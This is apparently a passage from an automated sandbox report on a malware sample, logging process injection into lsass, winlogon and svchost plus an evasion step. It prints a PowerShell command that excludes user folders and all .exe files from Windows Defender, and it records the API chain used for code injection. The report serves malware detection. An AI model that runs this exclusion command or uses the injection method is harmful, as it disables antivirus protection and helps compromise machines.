Source: C:\Windows\System32\svchost.exe	Code function: 53_2_000001ADECD4DCE0 FindFirstFileExW,	53_2_000001ADECD4DCE0
Source: C:\Windows\System32\svchost.exe	Code function: 54_2_000001D55907DCE0 FindFirstFileExW,	54_2_000001D55907DCE0
Source: C:\Windows\System32\svchost.exe	Code function: 55_2_00000241A9EADCE0 FindFirstFileExW,	55_2_00000241A9EADCE0
Source: C:\Windows\System32\svchost.exe	Code function: 56_2_000001CD7319DCE0 FindFirstFileExW,	56_2_000001CD7319DCE0
Source: C:\Windows\System32\svchost.exe	Code function: 57_2_000002824E89DCE0 FindFirstFileExW,	57_2_000002824E89DCE0
Source: C:\Windows\System32\svchost.exe	Code function: 58_2_0000021B47B3DCE0 FindFirstFileExW,	58_2_0000021B47B3DCE0

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477

Source: C:\Windows\System32\dialer.exe	API call chain: ExitProcess graph end node	graph_11-413
Source: C:\Windows\System32\dialer.exe	API call chain: ExitProcess graph end node	graph_39-477
Source: C:\Windows\System32\dialer.exe	API call chain: ExitProcess graph end node	graph_43-91

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Windows\System32\winlogon.exe

Code function: 20_2_00000225DC647D90 IsProcessorFeaturePresent,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,

20_2_00000225DC647D90

Source: C:\Windows\System32\dialer.exe

Code function: 43_2_00000001408460F0 LoadLibraryA,GetProcAddressForCaller,ExitProcess,VirtualProtect,VirtualProtect,VirtualProtect,

43_2_00000001408460F0

Source: C:\Windows\System32\dialer.exe

Code function: 11_2_00000001400017EC GetProcessHeap,HeapAlloc,OpenProcess,TerminateProcess,CloseHandle,GetProcessHeap,HeapFree,

11_2_00000001400017EC

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug
Source: C:\Windows\System32\dialer.exe	Process token adjusted: Debug	Jump to behavior

Source: C:\Windows\System32\winlogon.exe	Code function: 20_2_00000225DC647D90 IsProcessorFeaturePresent,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	20_2_00000225DC647D90
Source: C:\Windows\System32\winlogon.exe	Code function: 20_2_00000225DC64D2A4 RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	20_2_00000225DC64D2A4
Source: C:\Windows\System32\winlogon.exe	Code function: 20_2_00000225DC6A7D90 IsProcessorFeaturePresent,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	20_2_00000225DC6A7D90
Source: C:\Windows\System32\winlogon.exe	Code function: 20_2_00000225DC6AD2A4 RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	20_2_00000225DC6AD2A4
Source: C:\Windows\System32\lsass.exe	Code function: 26_2_00000202C0AED2A4 RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	26_2_00000202C0AED2A4
Source: C:\Windows\System32\lsass.exe	Code function: 26_2_00000202C0AE7D90 IsProcessorFeaturePresent,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	26_2_00000202C0AE7D90
Source: C:\Windows\System32\svchost.exe	Code function: 29_2_000002A66130D2A4 RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	29_2_000002A66130D2A4
Source: C:\Windows\System32\svchost.exe	Code function: 29_2_000002A661307D90 IsProcessorFeaturePresent,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	29_2_000002A661307D90
Source: C:\Windows\System32\dwm.exe	Code function: 30_2_000002BAAEDF7D90 IsProcessorFeaturePresent,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	30_2_000002BAAEDF7D90
Source: C:\Windows\System32\dwm.exe	Code function: 30_2_000002BAAEDFD2A4 RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	30_2_000002BAAEDFD2A4
Source: C:\Windows\System32\dialer.exe	Code function: 42_2_0000000140001160 Sleep,Sleep,_amsg_exit,_initterm,SetUnhandledExceptionFilter,malloc,strlen,malloc,memcpy,_cexit,	42_2_0000000140001160
Source: C:\Windows\System32\svchost.exe	Code function: 45_2_0000026A879CD2A4 RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	45_2_0000026A879CD2A4
Source: C:\Windows\System32\svchost.exe	Code function: 45_2_0000026A879C7D90 IsProcessorFeaturePresent,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	45_2_0000026A879C7D90
Source: C:\Windows\System32\svchost.exe	Code function: 46_2_00000179537A7D90 IsProcessorFeaturePresent,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	46_2_00000179537A7D90
Source: C:\Windows\System32\svchost.exe	Code function: 46_2_00000179537AD2A4 RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	46_2_00000179537AD2A4
Source: C:\Windows\System32\svchost.exe	Code function: 47_2_000002295D56D2A4 RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	47_2_000002295D56D2A4
Source: C:\Windows\System32\svchost.exe	Code function: 47_2_000002295D567D90 IsProcessorFeaturePresent,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	47_2_000002295D567D90
Source: C:\Windows\System32\svchost.exe	Code function: 50_2_0000025306E6D2A4 RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	50_2_0000025306E6D2A4
Source: C:\Windows\System32\svchost.exe	Code function: 50_2_0000025306E67D90 IsProcessorFeaturePresent,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	50_2_0000025306E67D90
Source: C:\Windows\System32\svchost.exe	Code function: 51_2_000001845B3CD2A4 RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	51_2_000001845B3CD2A4
Source: C:\Windows\System32\svchost.exe	Code function: 51_2_000001845B3C7D90 IsProcessorFeaturePresent,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	51_2_000001845B3C7D90
Source: C:\Windows\System32\svchost.exe	Code function: 53_2_000001ADECD47D90 IsProcessorFeaturePresent,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	53_2_000001ADECD47D90
Source: C:\Windows\System32\svchost.exe	Code function: 53_2_000001ADECD4D2A4 RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	53_2_000001ADECD4D2A4
Source: C:\Windows\System32\svchost.exe	Code function: 54_2_000001D55907D2A4 RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	54_2_000001D55907D2A4
Source: C:\Windows\System32\svchost.exe	Code function: 54_2_000001D559077D90 IsProcessorFeaturePresent,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	54_2_000001D559077D90
Source: C:\Windows\System32\svchost.exe	Code function: 55_2_00000241A9EAD2A4 RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	55_2_00000241A9EAD2A4
Source: C:\Windows\System32\svchost.exe	Code function: 55_2_00000241A9EA7D90 IsProcessorFeaturePresent,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	55_2_00000241A9EA7D90
Source: C:\Windows\System32\svchost.exe	Code function: 56_2_000001CD7319D2A4 RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	56_2_000001CD7319D2A4
Source: C:\Windows\System32\svchost.exe	Code function: 56_2_000001CD73197D90 IsProcessorFeaturePresent,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	56_2_000001CD73197D90
Source: C:\Windows\System32\svchost.exe	Code function: 57_2_000002824E897D90 IsProcessorFeaturePresent,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	57_2_000002824E897D90
Source: C:\Windows\System32\svchost.exe	Code function: 57_2_000002824E89D2A4 RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	57_2_000002824E89D2A4
Source: C:\Windows\System32\svchost.exe	Code function: 58_2_0000021B47B3D2A4 RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	58_2_0000021B47B3D2A4
Source: C:\Windows\System32\svchost.exe	Code function: 58_2_0000021B47B37D90 IsProcessorFeaturePresent,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	58_2_0000021B47B37D90

HIPS / PFW / Operating System Protection Evasion

Adds a directory exclusion to Windows Defender

Source: C:\Users\user\Desktop\loader.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force
Source: C:\ProgramData\lohebxwbndwd\wepulfrfkvoz.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force
Source: C:\Users\user\Desktop\loader.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force	Jump to behavior
Source: C:\ProgramData\lohebxwbndwd\wepulfrfkvoz.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force	Jump to behavior

Allocates memory in foreign processes

Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\winlogon.exe base: 225DC610000 protect: page execute and read and write	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\lsass.exe base: 202C0AB0000 protect: page execute and read and write	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 2A6612D0000 protect: page execute and read and write	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\dwm.exe base: 2BAAED90000 protect: page execute and read and write	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\winlogon.exe base: 225DC670000 protect: page execute and read and write	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\lsass.exe base: 202C0B10000 protect: page execute and read and write	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 2A661330000 protect: page execute and read and write	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\dwm.exe base: 2BAAEDC0000 protect: page execute and read and write	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 26A87990000 protect: page execute and read and write	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 17953770000 protect: page execute and read and write	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 2295D530000 protect: page execute and read and write	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 253067D0000 protect: page execute and read and write	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 1845B370000 protect: page execute and read and write	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 1ADEBFD0000 protect: page execute and read and write	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 1D559040000 protect: page execute and read and write	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 241A9E70000 protect: page execute and read and write	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 1CD73160000 protect: page execute and read and write	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 2824E860000 protect: page execute and read and write	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 21B473C0000 protect: page execute and read and write	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 2086F9D0000 protect: page execute and read and write	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 17183BC0000 protect: page execute and read and write	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 23FD3F70000 protect: page execute and read and write	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 1D2A4150000 protect: page execute and read and write	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 275BDF30000 protect: page execute and read and write	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 1AAC0260000 protect: page execute and read and write	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 203C9F30000 protect: page execute and read and write	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 1B5645B0000 protect: page execute and read and write	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 1BB7B2A0000 protect: page execute and read and write	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 1C004F60000 protect: page execute and read and write	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 24E2AB40000 protect: page execute and read and write	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 2644ADB0000 protect: page execute and read and write	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\spoolsv.exe base: 1990000 protect: page execute and read and write	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 20D25DA0000 protect: page execute and read and write	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 26EF5350000 protect: page execute and read and write	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 2A7F0D60000 protect: page execute and read and write	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 23D0FFB0000 protect: page execute and read and write	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 1B1C2570000 protect: page execute and read and write	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 2108B940000 protect: page execute and read and write	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 29166910000 protect: page execute and read and write	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Program Files\Common Files\microsoft shared\ClickToRun\OfficeClickToRun.exe base: 21C13EF0000 protect: page execute and read and write	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 1988D570000 protect: page execute and read and write	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 13869B40000 protect: page execute and read and write	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 1E1CC740000 protect: page execute and read and write	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 2855DA70000 protect: page execute and read and write	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 2BF199D0000 protect: page execute and read and write	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 15AF3890000 protect: page execute and read and write	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 21A03B80000 protect: page execute and read and write	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\sihost.exe base: 1CD40E40000 protect: page execute and read and write	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 151A6530000 protect: page execute and read and write	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 19E27BC0000 protect: page execute and read and write	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 17D7B150000 protect: page execute and read and write	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 1BE621A0000 protect: page execute and read and write	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 2252F480000 protect: page execute and read and write	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\ctfmon.exe base: 1F28B4B0000 protect: page execute and read and write	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 184683D0000 protect: page execute and read and write	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\explorer.exe base: 8740000 protect: page execute and read and write	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 1972E260000 protect: page execute and read and write	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\dasHost.exe base: 2246C5E0000 protect: page execute and read and write	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 221D5930000 protect: page execute and read and write	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\RuntimeBroker.exe base: 1ECFC650000 protect: page execute and read and write	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\RuntimeBroker.exe base: 1D178740000 protect: page execute and read and write	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 1A633B40000 protect: page execute and read and write	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 2928D0A0000 protect: page execute and read and write	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\dllhost.exe base: 13DAB4C0000 protect: page execute and read and write	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\smartscreen.exe base: 1A22A640000 protect: page execute and read and write	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 21C6CF30000 protect: page execute and read and write	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\wbem\WmiPrvSE.exe base: 1EF64520000 protect: page execute and read and write	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\audiodg.exe base: 1D349350000 protect: page execute and read and write	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\RuntimeBroker.exe base: 23B60DA0000 protect: page execute and read and write	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\RuntimeBroker.exe base: 2135E7B0000 protect: page execute and read and write	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 1F22F7C0000 protect: page execute and read and write	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\ApplicationFrameHost.exe base: 1F6E8150000 protect: page execute and read and write	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\RuntimeBroker.exe base: 20C52340000 protect: page execute and read and write	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\ImmersiveControlPanel\SystemSettings.exe base: 2589DA90000 protect: page execute and read and write	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\oobe\UserOOBEBroker.exe base: 1F5602E0000 protect: page execute and read and write	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\wbem\WmiPrvSE.exe base: 265CF960000 protect: page execute and read and write	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 223DA540000 protect: page execute and read and write	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 22638E00000 protect: page execute and read and write	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\dllhost.exe base: 1EC097C0000 protect: page execute and read and write	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\conhost.exe base: 1CFE9AB0000 protect: page execute and read and write	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\RuntimeBroker.exe base: 250FB0F0000 protect: page execute and read and write	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\RuntimeBroker.exe base: 23523E30000 protect: page execute and read and write	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\RuntimeBroker.exe base: 1B5CB5E0000 protect: page execute and read and write	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 1E53D990000 protect: page execute and read and write	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\wbem\WmiPrvSE.exe base: 1DAF9E60000 protect: page execute and read and write	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\wbem\WMIADAP.exe base: 1E6DD840000 protect: page execute and read and write	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\wbem\WMIADAP.exe base: 1E6DDE20000 protect: page execute and read and write	Jump to behavior

Contains functionality to inject code into remote processes

Source: C:\Windows\System32\dialer.exe

Code function: 11_2_0000000140001C88 CreateProcessW,VirtualAllocEx,WriteProcessMemory,WriteProcessMemory,VirtualAlloc,GetThreadContext,WriteProcessMemory,SetThreadContext,ResumeThread,OpenProcess,TerminateProcess,

11_2_0000000140001C88

Creates a thread in another existing process (thread injection)

Source: C:\Windows\System32\dialer.exe	Thread created: C:\Windows\System32\winlogon.exe EIP: DC61273C	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Thread created: C:\Windows\System32\lsass.exe EIP: C0AB273C	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Thread created: C:\Windows\System32\svchost.exe EIP: 612D273C	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: DC67273C	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: C0B1273C	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: 6133273C	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: AEDC273C	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Thread created: C:\Windows\System32\svchost.exe EIP: 8799273C	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Thread created: C:\Windows\System32\svchost.exe EIP: 5377273C	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Thread created: C:\Windows\System32\svchost.exe EIP: 5D53273C	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Thread created: C:\Windows\System32\svchost.exe EIP: 67D273C	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Thread created: C:\Windows\System32\svchost.exe EIP: 5B37273C	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Thread created: C:\Windows\System32\svchost.exe EIP: EBFD273C	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Thread created: C:\Windows\System32\svchost.exe EIP: 5904273C	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Thread created: C:\Windows\System32\svchost.exe EIP: A9E7273C	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Thread created: C:\Windows\System32\svchost.exe EIP: 7316273C	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Thread created: C:\Windows\System32\svchost.exe EIP: 4E86273C	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Thread created: C:\Windows\System32\svchost.exe EIP: 473C273C	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Thread created: C:\Windows\System32\svchost.exe EIP: 6F9D273C	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Thread created: C:\Windows\System32\svchost.exe EIP: 83BC273C	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: D3F7273C	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: A415273C	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: BDF3273C	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: C026273C	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: C9F3273C	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: 645B273C	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: 7B2A273C	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: 4F6273C	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: 2AB4273C	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: 4ADB273C	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: 199273C	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: 25DA273C	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: F535273C	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: F0D6273C	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: FFB273C	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: C257273C	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: 8B94273C	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: 6691273C	Jump to behavior
